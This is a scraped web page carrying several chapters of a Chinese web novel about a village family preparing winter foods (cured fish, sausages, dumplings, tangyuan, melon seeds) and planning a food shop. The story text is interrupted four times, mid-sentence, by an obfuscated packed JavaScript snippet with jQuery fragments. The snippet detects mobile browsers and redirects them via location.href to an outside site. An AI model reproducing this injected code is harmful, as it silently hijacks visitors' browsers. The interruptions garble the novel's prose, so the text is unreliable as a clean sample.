晚间李兰香洗漱后,拿出罗水林之前买的香膏揉匀抹了脸,又把手心剩下的膏慢慢搓在手上。 罗水林问:“是不是快用完没有了?”他早就洗漱好在床上等她,这几个月他们都没好好亲近过,于是下了床榻,绕过来俯身在李兰香脸上亲一口,赞道:“我娘子真香。等我下次去城里再买一罐回来。” “嗯。”李兰香蔫蔫的,她有心事,不大想做回应。在心底鼓了鼓气,她试探性地开口询问道:“水林哥,你说……我要是明年去县城开个食铺,你觉得咋样?” “开食铺?”罗水林有些惊讶,“你怎么忽然冒出这个念头了?” “我主要是觉着咱们只顾田间地头的产出,实在是挣钱太慢,若是要挣到能庇护宝珍宝珠一世无忧的钱财,恐怕你我再有下世都挣不到。” “现下我数了咱们家的家底,有三十七八两银子了,足够在城里租个摊子或是店面,自己开店做生意。我做饭的手艺好,若是开食铺最有底气,便是不成功,咱们便及早撤手,损失也不会太大。” 家中最近挣的钱都是李兰香给衙役们辛苦做饭得来的,她要花用,罗水林肯定不会有异议。只是这是开店,且要去县城…… “钱财是你挣来的,我自然不会不同意。” 罗水林答应,还不等李兰香放下心来高兴,他话锋一转,“但是家中的田地不可能荒废,你去县城开食铺,我去卖货,又有谁来照顾田地呢?且宝珍宝珠要怎么办?在家里没人照顾她们。” 李兰香倒是真没考虑这么多,她有想过先让孙婆子照顾一下宝珍宝珠,等开了店铺有了起色再将她们接过去,这桩事解决了,但是田地咋办?田地是农人的命根子,定是不能弃的。 罗水林抚着她的肩膀劝她:“兰香,我晓得你是为女儿们好,但是这桩事咱们得从长计议,必须得把每样事项规划好了,才能放手去做。” “嗯……水林哥你说得对,是我想的太简单了。”李兰香有些泄气。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928904|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 罗水林笑着拥着她,“不是想的太简单,是你太着急了。我赞同你开铺子,但是毕竟生意不是那么好做的,肯定要仔细周旋好,你也不想田地荒废,辛苦挣来的钱打了水漂吧?”说完话,两人就此歇息。 之后几日李兰香便呆在家里,把该洗的洗了,该换的换了。之前罗水林带娃,虽然比其他男人妥帖,但有些事务还是做的不那么仔细的。 趁着有大日头,李兰香便准备去老宅的柴房里抱几捆干稻草回来,垫在床榻上。 这是古代百姓通常用的一种取暖手段,到了冬日把稻草垫在床铺上,然后再铺床垫,会更加保暖保温。 到老宅取干稻草的时候,孙婆子见了,主动嘱咐她:“草拿回去还不能垫,要晒上几日,把里头的潮气赶走,虫卵杀死了,才能垫上去。” “诶好。”李兰香应了正要走,没想到孙婆子又拉住她问:“听老三说你想去县城开食铺,是真的么?” 李兰香有些慌,毕竟是自家婆婆,不晓得她会不会嫌弃自己太有主意太能花钱了,于是在心里骂道:‘这水林哥嘴上真不把门!’然后乖乖应答:“倒是有这个想法,但是家里还有宝珍宝珠和田地,不晓得怎么抽开身。” “娃娃好办呀,宝珍宝珠也大了,我和宝银都能看。”没想到孙婆子居然十分支持,“月红说那伙城里来的衙役可喜欢吃你们做的菜了,若是去城里开店,生意不会差,我相信你的手艺。” “另外田地的事何须操心,就让老三不要再出去卖货呗,谁说非得女子才能顾家,男子不也行?依我说就让他食铺田地两头跑,他是男人,累点没事。” 李兰香有些吃惊,没想到婆婆居然是这种想法,这让她几日来左思右想都想不到如何平衡两边的事情一下子就轻松解决了。她磕磕绊绊道:“水林……水林哥说还要从长计议,且这只是我的一个想头,还没定下来呢。” “哦……那你们慢慢商议,定下来了再跟我说,若是钱不凑手,爹与娘这儿还有些钱,可以借与你们。” 李兰香听罢话应了,急匆匆跑走。晚上将这事与罗水林说了,惊得他立马坐起身来。 “我娘竟这般想?” 想了想又自言自语道:“也难怪,之前她便问过我要不要转做商户,肯定是想着我们俩以后身下无子,她又偏疼宝珍宝珠,于是跟你有一样的想法,希望咱们多挣些钱来。” 说完后两夫妻对视一眼,罗水林笑了笑:“既然爹娘这么大年纪还愿意帮忙照顾女儿们,那咱们就搏一搏,累就累些吧。” 于是夫妻俩准备开食铺的事提上议程,既决定了,就开始忙活起看铺面租房子的事宜来,当然这是后话了。 59. 酒糟鱼 天气一日日的冷下来,过了立冬便是小雪与大雪节气,若此时在北地,早已一片萧瑟、飞雪连天,而南边大多的树杈子依旧青绿,要等到春天到了,树木发新芽时才会把旧叶顶落下去。 每日早起时,宝珍与宝珠从被窝里钻出来,总会被冷得打个哆嗦,然后将娘亲准备的厚袄子套上,才敢去洗漱。早上的冷空气足,宝珍漱好口呼气,变做一团白白的雾,两姐妹觉得好玩,争先恐后玩的不亦乐乎。 “别玩啦,不冷么,快点进来洗脸。”李兰香喊住她们,把锅中的热水舀出来,添凉水进去掺好,再把洗脸帕子扔进去浸湿,捞出拧干给两姐妹一人脸上抹几道。 由于天冷和冬日空气干燥的缘故,小孩子皮肤又嫩薄,所以脸上都起了皲,红彤彤的两坨挂在两边面颊上,瞧着倒怪可爱。 只是洗脸需得遭趟罪,热帕子一覆上脸颊,略一摩挲就蹭得痛,宝珍和宝珠洗上两道,均耐不住,纷纷开口叫唤:“娘,干净了干净了,不要再擦了。” 擦完脸,李兰香把自己的香膏拿出来,给两个女儿的额头、脸颊、下巴点上一点,然后慢慢抹开,抹完再亲上一口,唔,真香! 涂了膏虽不能立马见好,但至少不会开裂。她见到村上有些个娃子,父母不注意,手脚都冻的开裂,渗出血来了,可让她心疼的紧。 这个时节已经开始落霜,门前屋后的草尖儿上全都蒙了一层白白的霜花,被从东边升起的日头一照,映得整片天地都亮上了几分。宝珍与宝珠一边端着碗吃早饭,一边拿脚去踏,被冻的硬实的草很快就踩折下去,发出好听的沙沙声响。 地里的最后一茬辣椒被李兰香收了回来,然后将它剪了枝成矮光杆杆,以求保留养分,看它明年春还会不会成活。 收回来的辣椒,李兰香打盆清水将它洗净,然后拿出干净的剪子来,把它们一段一段剪开,放到竹簸箕里晒成干辣椒。 剪辣椒的过程是很难受的,气味刺激的同时,汁液溅在手上,泡的久了就火辣辣烧得痛,连喜欢凑热闹黏着娘的宝珍和宝珠,此刻也离得远远的,不敢上前,生怕闻到呛鼻辣味打喷嚏。 剪好的辣椒晒足七八日,等到它的颜色转为红黑,皮儿变得薄脆,略捏一捏就碎成沫子,这时候就可以收起来了。晒好的干辣椒一半收好,另一半则被舂成辣椒面放罐子里,这都是准备拿来越冬时做菜吃的。 北风起,晒腊味。 除去晒辣椒,李兰香还让罗水林去买了几条大草鱼回来,将它们刮了鳞,开膛破肚清洗干净后斩成段,丢入用姜片和花椒调制成的温盐水中腌制几个时辰,然后同样放去竹簸箕上晒,把鱼肉晒干晒黄就可以收回来用绳子绑起,挂到后仓房中的屋梁上。 趁着这段时间日头好能晒干,腊肉与腊肠也可以做起来,之后便总是落雨天了。 买回来的猪小肠腌臜,屠户只将里头的秽物粗略去除了,但依旧臭不可闻,需得好好清洗才能用来灌腊肠。 李兰香把肠子表面的肥油撸干净,清洗过后拿筷子顶进去串好,再把小肠内里翻面出来,用刀背轻轻刮去肠壁的赘物,然后使清水和生粉抓揉,多冲洗几道,肠衣就变得白净了。 买回来大块的五花肉洗干净,丢进大盆子里,准备盐巴、花椒、八角、香叶等物,放入锅中炒热炒香,然后把散酒与酱油兑在一块,给肉的每一面均匀抹上香盐与酱油汁,腌制上两至三日,中途需翻面几次,以便酱料吸收均匀。现下天气冷,肉不易腐坏,等腌制好就可以用麻绳在肉的一头串起,挂到竹竿上晒。 晒干的腊肉色泽好,瘦肉部分红褐光亮,肥肉部分黄白油润,颜色老漂亮了。 做腊肠也简单,选取猪的腿肉剁碎了,若是喜欢肥腻些的,就多加些肥肉丁进去,用盐、酱油、散酒、少许白糖来调味,搅拌均匀。李兰香想着罗水林爱吃辣,还另做了些加干辣椒面的肉,一同塞进肠衣里头。 宝珍和宝珠在旁边帮忙,李兰香拿住木制的漏斗口,将肠衣的一端打上死结,另一端接住漏斗,然后叫宝珍与宝珠夹肉塞进去,于是那细小的肠衣很快就鼓胀起来,李兰香用另一只手慢慢往下捋,保证肠衣的每个角落都能填满。 每塞满一段肠衣,李兰香就给它打一个结,全部做完后,又折了细竹枝来,给肠衣上扎洞。 宝珠不解的问:“娘,为什么你还要扎它呀,不是已经做好了么?” “里头会鼓气。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943137|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李兰香一边扎一边回答她:“若是不扎洞放气,等晒得久了,肉就会爆出来。” 两姐妹似懂非懂,不过这都不是她们这个年纪需要操心的,李兰香只求她们现下吃饱穿暖,不要生病就行。 腊肉与腊肠做好,需得晒上半个多月才能行。冬日里日短夜长,又无什田地里面的活计要干,李兰香便操心起各类吃食,每天翻着花样做菜,既能填饱足家人的肚腹,又为之后开食铺设菜单子做准备。 晒好的鱼相比起新鲜的鱼,肉要更紧实,做法与鲜鱼也不同。李兰香喜欢将干鱼块用油炸了,然后切上多多的姜蒜末,准备大量的豆豉、辣椒面和甜酒糟,先用炸了鱼的油炒香姜蒜末和豆豉,再把炸鱼块放下去翻炒,中途添上酱油与甜酒糟,最后倒入油泼辣椒面进去,所有食材炒均匀了,就可以盛出来。因鱼肉已经腌制过,所以里面不需要放盐也有滋有味。 做的这道菜叫酒糟鱼,做好后红油鲜亮、香辣无比,除了姜蒜的香味,还有豆豉的微微臭味和发酵后的豆香与酱香,再加上酒糟的甜,即便是闻上一口,也能让人口舌生津。 酒糟鱼做好后可以装罐保存,因用的是干腌鱼,又有大量的红油,吃三四日是不成问题的。 冬日里还常吃萝卜,萝卜不易坏,做法也相当多,可炒、可炸、可煮,放入荤肉中当配菜一样好味。 萝卜收的多,一时吃不完,李兰香就把它们洗好全部切成粗条,用盐巴腌出多余的水分来,拿到太阳底下晒。晒好的萝卜干有一股淡淡酸臭味,宝珍与宝珠闻了,纷纷指责像是对方的脚臭,把李兰香逗得差点笑死过去。 萝卜干晒好,可以拿来煲汤和与炒腊肉,也能用热水泡发,把水攥干,加入各类调料腌制封存起来,一个冬的早食小菜就有了。 李兰香做好后拎出一条尝味道,旁边的宝珍宝珠也不嫌弃有怪味了,纷纷凑上来讨要。给一人分上一条,吃进嘴的腌萝卜干香香辣辣、十分爽脆,嚼在嘴巴里“咯吱咯吱”作响,辣得两姐妹鼻涕水都出来了。 等全部的吃食做好晒好,李兰香把它们通通收进灶房储存或者挂在后仓房中,望着满满当当的食材,心里也不禁生出一种饱足、平淡而又幸福的感觉。 60. 火笼子 后仓房中的东西渐渐积攒多了,李兰香趁着一日空闲,将里头收拾清爽,该叠的酱菜咸菜坛子叠起来,谷米豆子等物该装袋的装袋,干鱼腊肉腊肠分地儿挂好…… 一通忙活下来,总算收拾妥当,紧窄的小屋子被归置的整整齐齐,李兰香还从里面翻出两个陈旧的火笼子,只是可惜上面的竹篾因时间过久,已经老化干脆,一折便断,用不得了。 她仔细瞧了瞧,外表的竹笼可以拆下拿去烧火,里面的瓦盆倒还是好好的,等罗水林回来,可以叫他再编两个竹笼,把瓦盆安进去继续用。 北地冬日可以烧炕,南方还不至于那么冷,人们便将这种火笼子作为常用的取暖工具,它看起来就是一个深口的竹笼,内里放置能避火的瓦盆,上面还有竹编的提手,样子小巧,可以供人随意提着暖手用。 等罗水林回家听了媳妇吩咐,立马就操干起来,砍了几根竹竿刨成竹篾,不到两日的功夫,竹笼就编成了。 李兰香午间烧了饭,特意塞几根粗木进去烧成红炭,然后把灶里面的火灰铲出来打个底,再将快要熄灭的炭铺上去,最后厚厚盖一层茶籽壳,让它慢慢闷出热气来。 宝珍在旁边围观,忽地开口问:“娘,我可以不可以把薯仔埋进去焖啊?”因为她之前见二哥哥就是这样趁做完饭在灶里用火灰焖番薯的。 “当然可以啦。”李兰香笑眯眯地,指挥她们去仓房里面挑小个的番薯过来,然后用火钳扒开碳灰,将番薯埋进去。 “煨番薯可比蒸煮出来的番薯好吃,香!” “不仅可以煨番薯,咱们家要是还有栗子,也能把它开了口放进去煨,同样好吃的紧。” 李兰香说完,把火笼子放到椅子边,叫她们坐上去,然后脱下鞋子,教导姐妹俩用脚踏在火笼子上取暖。 当时做的时候,她还特地叫罗水林编了两个镂空的圆竹盘,正正好可以架在火笼子口上,这样就不仅能提在手上暖手,还可以搁脚上去暖脚。若是冬日下雨天衣裳鞋袜没法晒干,也能放置在上头烘,这想法不得不说一句妥帖。 火笼子里的番薯个头小,煨上两三刻钟便熟了。李兰香用挂在旁边刚做好的木筷将它们夹出来,丢到地上先放凉,等到番薯不那么烫手了,才拿起动手给撕去皮。 煨成功的番薯的皮儿都是很薄的,会有红褐色的蜜糖汁沁出来,整个摸起来绵绵软软。里面果肉的水分被蒸干了许多,跟皮之间产生了空隔,番薯肉既呈现出橙红色的一丝一丝的絮状,也不失湿润。等把皮儿一撕开,那种番薯的香甜气息立马充盈了整间屋子。 李兰香把番薯皮剥去一半,留底部一点好让她俩抓取,两个人一拿到手里,立马被烫的“啊嘶啊嘶……”直叫。 不过虽然烫,宝珍和宝珠还是不愿放开,两只小手左右轮换着拿住,然后迫不及待地去啃红薯,如蜂蜜般的甘甜滋味一下子就俘获了姐妹俩的心,“唔……好香好甜好好吃呀!” 煨番薯好吃,却不能多吃。姐妹俩吃完一个后,又自己动手操作煨了两个,果不其然,晚间就吃不下饭了。 更难受的是,番薯吃多了会胀气,于是两人一个接一个地放屁,臭得李兰香直赶她们回自己房间去,不要在桌子旁倒夫妻俩吃晚饭的胃口。 冬日里天冷,小孩子受不住冻,即使穿了厚衣裳,小手小脚也常凉凉的,像冰坨子。火笼一做出来,两姐妹就受了益,在外面跑累被冷到,就回来坐在上面,很快体温便能上升。早上起床的时候也是,李兰香会在叫她们前先把她们的衣裳搭上头烘热,等起身穿衣,便一点也不冷了。 不过千防万防,冷天娃娃们总要受一回寒的,尤其是家里头年纪小、体质差一些的宝珠。 冬至这日,晨间起身时李兰香便摸着她的额头不对,略微有些烫手,到吃完早饭,宝珠的小脸就烧红了,同时流起了清鼻水,还时不时咳嗽一声。 于是两夫妻很快就拿毯子裹住她,抱着去了镇上的小医馆看病,里面坐诊的大夫虽不比县城的大夫医术高深,但这种头疼脑热的风寒病还是治得好的,乡人通常有些小毛病都是找的他。 镇上大夫给宝珠搭了脉问诊,又仔细看了舌苔喉咙和眼瞳,拿手测了测热度,判定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963848|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是小儿风寒,便给开了葛根汤,叮嘱李兰香用苏子叶煎水去擦身,就收了钱叫他们回家了。 回去的路上宝珠咳的一声比一声急,把两夫妻的心都咳焦了,恨不得赶紧到家煎药来吃。 到家煎了葛根汤,宝珠正在病中身子不舒坦,又嫌弃药苦,死活不肯喝,鲤鱼打挺似的撅着,药喂到嘴边就是不肯张口,哭闹到头发都湿了,最后李兰香抱着左哄右哄,允她许了好几个愿望才吃下去。 宝珠吃完药后就睡去,两个大人倒是被折腾的不轻,抹了把汗又去照大夫说的,给宝珠煎苏子叶水擦身。 孙婆子此时牵着宝珍过来,帮忙生了两个火盆放屋子里,再把门窗紧闭,等屋子稍微暖和些,这才敢把宝珠的衣裳解开,然后逐次擦了手脚和身子。若不是考虑现下天冷,孙婆子倒是还想给宝珠用瓷勺子刮痧,这样好的快些。 晚间睡觉时,李兰香怕宝珠过了病气给宝珍,于是便单独将宝珠抱到自己房中睡,他们大人身体健壮,倒是不怕。 宝珠这一次生病过了五六日才断根,前期喝了药倒是没再发热,只是一直流鼻水和咳嗽,因生了病,许多荤物和发物都吃不得了,李兰香就变着花样给她做粥、面、馄饨等,可惜宝珠没胃口,吃不下许多,几日下来瘦了一圈,小脸蛋衬着大眼睛,显得眼睛更大了。 等风寒完全去除,病中宝珠许诺的要买瓷娃娃呀、要吃蜜饯、蜜橘呀,罗水林和李兰香都给她一一买回来,只是吃食还是严格管控她,不许她贪嘴多吃。 宝珠大眼睛眨呀眨,拉着李兰香的衣角一个劲儿撒娇。 “唉……”李兰香见着她可怜兮兮的样子,又怜惜她瘦了许多,“蜜饯吃多了会咳嗽,你才刚好,不得多吃,娘给你弄别的吃食。” 于是拿了蜜橘,放在火笼子上煨热,又去取了两枚鸡蛋,拿湿泥巴裹住,埋到火灰中,这样做是因为李兰香听说得风寒吃煨橘子能治咳嗽。 煨好的橘子和鸡蛋两姐妹分了吃,外头呼呼刮着寒冽的北风,这个时候坐在火笼子上吃一瓣温热而又甜蜜的橘子肉,感觉全身都暖融融的。 61. 饺子汤圆 腊月初一这天,李兰香去镇里集上割了两斤猪肉,称了十五斤西瓜籽与五斤南瓜籽回来。 冬至节气本要煮汤圆的,偏偏当时宝珠染了风寒吃不得,又怕家里做了,她在旁看着会嘴馋,便都没有煮。 现下宝珠的风寒已好,李兰香就操办起来。 人说习俗是,冬至“北方饺子南方汤圆”,他们虽身处南边儿,不过考虑到家里两个娃娃同样挺爱吃饺子的,那倒不如饺子汤圆一起做了,让她们高兴高兴,也贴补一下身体。 回到家,李兰香先去菜地砍一颗白菜,又扒拉开韭菜上盖着保温的干草,割了一茬鲜嫩嫩的冬韭回去。 面团在赶集前就揉光放在碗里等出劲了,李兰香掀开布拿手指戳了戳,感觉已经发酵好,便加紧做事,切了姜葱段搓出汁泡热水,又丢了几粒花椒、一颗八角进去。 “宝珍、宝珠嘞!”李兰香一边剁肉馅一边喊,“去打水把白菜洗了,韭菜择干净。” 两姐妹在堂屋里扑石子玩,听得娘亲喊,纷纷应和道:“哦,好嘞。”然后放下石子,抱起白菜和韭菜,去到井边摇水上来。 家里的井水不同于河塘里的水,它冬暖夏凉,打上来的水探手进去一点也不刺骨,反而微微的温热,非常舒适,用来洗菜洗衣根本不冷。 宝珍和宝珠互相帮忙,把对方的袖子卷起以免打湿,一个洗菜一个择菜,分工合作。 灶房里的李兰香剁好肉馅,在里面敲一个鸡子进去,然后添些盐巴与酱油,分批次倒泡好的葱姜水,再不停朝一个方向搅拌,好让肉馅上劲,更紧实好吃。 接着又敲了几个鸡子打散,引火烧灶,炒了一碗金黄金黄的蛋花出来。 等宝珍和宝珠的菜洗好,李兰香就将白菜和韭菜一同切了,加点盐腌出水分攥干,把白菜添进肉馅里,韭菜和蛋花拌一起,打算做白菜猪肉和韭菜鸡蛋两种馅儿的饺子。 分好的面剂子放在风箱上的砧板上,李兰香撒了层粉防止粘连,然后用擀面杖擀出饺子皮来。宝珍就端个凳子站她旁边,人也不比风箱高出多少,就能自己舀馅料包进刚擀好的饺子皮里,一个一个捏出花边,做的很是像模像样了。 宝珠也在旁边帮忙,她贪心,每次舀肉馅都要多多的,勺子都满的冒出尖儿来了,小小的饺子皮完全包不住,捏好了这头,另一头就鼓出来,做的几个全都破了皮,完全没法下锅煮。 “你来舀肉馅,我来包。”宝珍打宝珠的手阻止道,实在是看不下去她浪费粮食。 好在宝珠只是想参与进来玩,包不包饺子对她来说没所谓,听到姐姐不让包了,一点也没生气,又高高兴兴的给她舀馅儿放在皮子上。 “诶诶诶,太多啦,不要这么多!”宝珍看她一大勺馅料都堆一个饺子皮里,连忙叫停。 “那这样呢,还多么?”宝珠拿勺子挑出一点,歪着头去看宝珍,询问她的意见。 “还是太多。” 于是宝珠又挑出一点,“这样还多不多?” 宝珍见状,直接抢过她手里的勺子,掏出一半放回碗里,然后举起饺子皮给她展示上头剩下的饺子馅,“看着!就这么多!半勺,半勺晓得不?这么多就够了。” “哦,好吧……”宝珠嘟着嘴,不情不愿的答应了,反正她觉得饺子一定要馅多才好吃,但是姐姐不许,那就算了吧。 接下来包饺子,宝珠都乖乖按照宝珍的吩咐做,倒是没再捣乱了。李兰香边包饺子边偷瞧两姐妹拌嘴,不插手她俩的争端,心里头暗笑,果然是一物降一物啊。 包好的饺子下了沸水,盖上锅盖滚过几道后,李兰香又添了两次冷水进去,宝珍与宝珠不解,问她为什么要这样做。 “饺子要‘滚三滚’才能熟,晓得不。要不然光皮子熟了,里头的肉馅没熟,咋个吃。”李兰香教导她们,这都是煮饭的诀窍。 等水滚过第三道,白白胖胖的饺子全都浮起来,李兰香就用竹笊篱把它们捞出,放进两个大碗里头。 今日李兰香特意多包了些饺子,把第一锅煮好的先端去老宅,给李老头和孙婆子以及大哥大嫂他们尝鲜,剩余的饺子煮了第二锅,这才是他们全家人吃的。 煮好的饺子还需要蘸料,李兰香就用蒜末、酱油、香油、盐、糖和饺子汤调制了一个,这是给宝珍与宝珠的,她和罗水林的蘸料还多加了辣椒面进去。 过冬被霜打过的白菜特别脆甜,跟猪肉掺在一块儿,别提有多鲜了。韭菜鸡蛋馅的也好吃,这越冬的韭菜虽不及春韭菜水灵,但一样鲜嫩,和鸡蛋也是绝配。 李兰香吃过一个,暗自琢磨,‘韭菜鸡蛋馅里面要是再加上泡发剁碎的红薯粉丝,口感和味道应该会更丰富。’ 宝珍和宝珠许久没吃饺子了,饺子一出锅,她俩就馋的紧,不等多吹两口气吹凉,就“啊呜”一口咬进嘴巴里,等饺子皮爆开,滚热的汁水流出来,又烫又香又鲜,直吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986779|130689||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人眼睛都眯起来。 其实她们这儿因为身处南方的原因,根本没什么人会做饺子来吃,若是馋了,顶多煮碗馄饨解解嘴瘾,她们一年能吃上几回饺子,还是由于李兰香喜欢鼓捣吃食的缘故。 中午做了饺子吃,下午歇了个晌后,李兰香就开始处理食材,准备包汤圆。 汤圆同样做两个馅儿的,一个芝麻馅,一个花生馅,做好的汤圆可以冻起来,现下天气冷,能放多几日,每天早上煮几颗给宝珍宝珠吃。 李兰香把糯米粉用温水和好,揉成面团等醒发。等待的功夫里面,把黑芝麻与花生下入锅中,无油小火炒香,熟后放凉。 炒好的芝麻用小磨盘研磨碎,然后加入猪油和白糖,搓成小圆子备用。 花生炒熟后碾去外头的红衣,同样用磨盘研磨碎,调味也与芝麻馅一样,若是家中有白芝麻,也可以在里头添一些进去,两种风味相加起来会更香。李兰香想着反正已做了芝麻馅儿的,就不再费一道功夫,简单便好。 做汤圆比包饺子简单,馅料都被李兰香搓成小圆子了,只需要用糯米粉团裹住,揉圆即可。 于是宝珠这次也被允许来包汤圆,小人家的手一握,正好是一个汤圆的大小,用两只小手合起来不停地揉啊揉,一个圆滚滚、白生生的汤圆就做好了。 李兰香让她把做好的汤圆放进撒了糯米粉的盆中滚一圈,防止粘连,然后把做出来多余的收进橱柜里,只余出十来个煮给两个娃娃吃。 煮好的汤圆,皮子变得略微透明,宝珍轻轻咬一口,里面香喷喷的芝麻馅就流淌出来,甜滋滋的。宝珍啜一口喷香的流沙芝麻,然后把整个汤圆倒进嘴巴里嚼,软软糯糯,清爽不腻,吃完后满口留香。 宝珠吃到的也是芝麻馅儿的,由于馅被裹住,从外面根本看不出里头包的是什么,两姐妹边吃边猜,互相下赌注,直到吃到第五个,才轮到了花生馅。 花生馅一样好吃,而且李兰香研磨的不算太碎,吃起来还有花生的颗粒感,越嚼越香。 宝珍和宝珠各分了一个给李兰香吃,还要再给,李兰香便推辞不要了。她笑眯眯看着两个女儿的背影,若是有可能,真希望她们永远都长不大,天天像这样快快活活的,只要发愁今日和明日吃什么就好。 “嗐……”她长吐出一口气,笑自己想这多做甚,还不如实际点,现在他们家的日子过得越来越好,只祈祷以后也能如现下,一直顺顺利利才是。 62. 西瓜籽 第二日早上起了,李兰香烧早饭,便叫罗水林去把昨日买回来的西瓜籽浸上,她晚间要煮。 西瓜籽虽叫这个名儿,实际上却并不是西瓜的籽,而是西北地区一种名为打瓜、籽瓜的瓜产的种子。这种瓜外表与西瓜几乎一模一样,只有打开瓤,才能看出两种瓜的区别在哪儿。 籽瓜的瓤是黄白色的,不脆也不甜,它的主要用途就是收籽来做瓜子。籽瓜的籽乌黑个大、皮薄板平、肉厚,每到过年边上,人们就会采买许多生瓜子回来,做成年货,拿来待客用。 李兰香买瓜子的时候,还买了一包生石灰回来,因生瓜子外表粘腻,需得用石灰水或者是碱水浸泡,然后不停搓洗,才能去除粘液。 十五斤的西瓜籽,要用到半斤石灰掺五十斤水浸泡,浸上四五个时辰,再进行清洗。 罗水林依照她的吩咐做了,又自发自觉地拿出生南瓜籽来洗干净,它倒是不用浸石灰水。 清洗好的南瓜籽放去太阳底下晒,等晒干后,就叫宝珍与宝珠辛苦些,把它面上的薄膜揭掉,就能拿去炒制了。 傍晚时分,西瓜籽泡好了,李兰香趁着还有点日头,就把它搓洗出来。这石灰水是有毒性的,人的皮肤在里头浸泡久了都会烂,何况是要入嘴的东西,因此搓洗后还需要换上好几道清水冲干净才能行。 吃过晚饭,李兰香把锅收拾出来,然后倒入洗干净的西瓜籽,添上水,放盐巴、八角、桂皮进去,煮开后用小火焖一个多时辰,等瓜子入味了就可以捞出来控水晾干。 刚煮好的瓜子很湿润,壳也软。宝珍和宝珠本已经洗了手脚要上床睡觉,李兰香开锅的瞬间,水蒸气带着咸盐味儿扑出来,传到了她俩的鼻子里,于是两姐妹又趿拉上鞋子,踢踢踏踏地跑过来讨要瓜子吃了。 李兰香瞪她们一眼,训道:“不是要睡了么?还吃东西。” “就一把,我们俩只要一把就行。”两姐妹撒娇卖痴,等到明日都不肯,非要现在尝个鲜。 李兰香没奈何,抓一把黑瓜子放她们手心里,不忘嘱咐:“吃过后需得洗手漱口才能再上床,不要抹的到处邋邋遢遢。” “哦。”两个人拿过瓜子应和了,嘻嘻哈哈地跑去堂屋吃。 宝珍挑出一个看着很是饱满的瓜子,将它竖起来放入齿间咬下,“咔嗒”一声,瓜子壳就被磕开,露出里头白白的、如雀舌般的瓜子肉来。 她还没学会大人们用灵活的舌头卷出瓜子肉,只是等壳破开,就取下继续用手指头掰,拣出里头的果仁。 这个时候的瓜子仁水水的,带着咸味儿,说不上有多好吃,但是无聊时来上一把,总能解解闷,过过嘴瘾。 宝珠也学着姐姐磕,小米粒一样的牙齿还挺有劲,一下就把瓜子切作两半。若是遇上几个难啃的,她就直接放后槽牙给嚼碎了,幸好宝珍在旁注意到,不让她囫囵吞进去,要不然瓜子壳划伤喉咙就不好了。 煮好的西瓜籽摊开放到圆竹簸箕里晾晒,等晒干后,瓜子壳表面会浮现一层白白的盐卤,这就是瓜子咸味的来源。 西瓜籽煮好了,开始炒南瓜籽。 南瓜籽晒干后,宝珍与宝珠把它面上的白色薄膜一个个揭去,然后拿给李兰香去炒。 炒南瓜籽的时候,锅中不需要放油,只要把瓜子放进去,加盐小火翻炒就行。炒上一刻钟,锅中的南瓜籽上了色,变得焦黄,微微开口了,就是已经炒熟的信号,李兰香便把它们铲出来。 南瓜籽比西瓜籽要好吃得多,壳也更好开,吃起来有坚果仁的香气,宝珍和宝珠更喜欢它。 两种瓜子做好,李兰香就将它们分别装进布袋子里,又储存进一个大缸。这个大缸是专门拿来放年货的,现下只堪堪装了三分之一,要等后头还有其他的年货做出来,才能渐渐填满。 腊月到明年元宵的这段时间,是小娃娃们最喜爱的,冬日里不仅没有各种活儿要干,父母亲人还会采购年货回来制作,三不五时就能吃到平时吃不了的零嘴,能不高兴、开心么。 宝珍与宝珠现在每日里出门跟人耍,衣兜兜里不是装着自家做的瓜子和花生,就是装着孙婆子给的柿饼和桂圆干,嘴巴经常不得闲。 按照以往的惯例,李兰香后头还会做米花糖和买糖莲子回来,到时候更有的吃。 村里娃娃们个个都高兴,只有康哥小瘌痢头不开心,他阿嬷赖婆子逼得他娘凤仙没法来村里看他,偏对他也算不得好,能凑活过就行。自己爹大瘌痢头就更别提了,日子过得糊糊涂涂,大男人没点主见,事事听娘的。 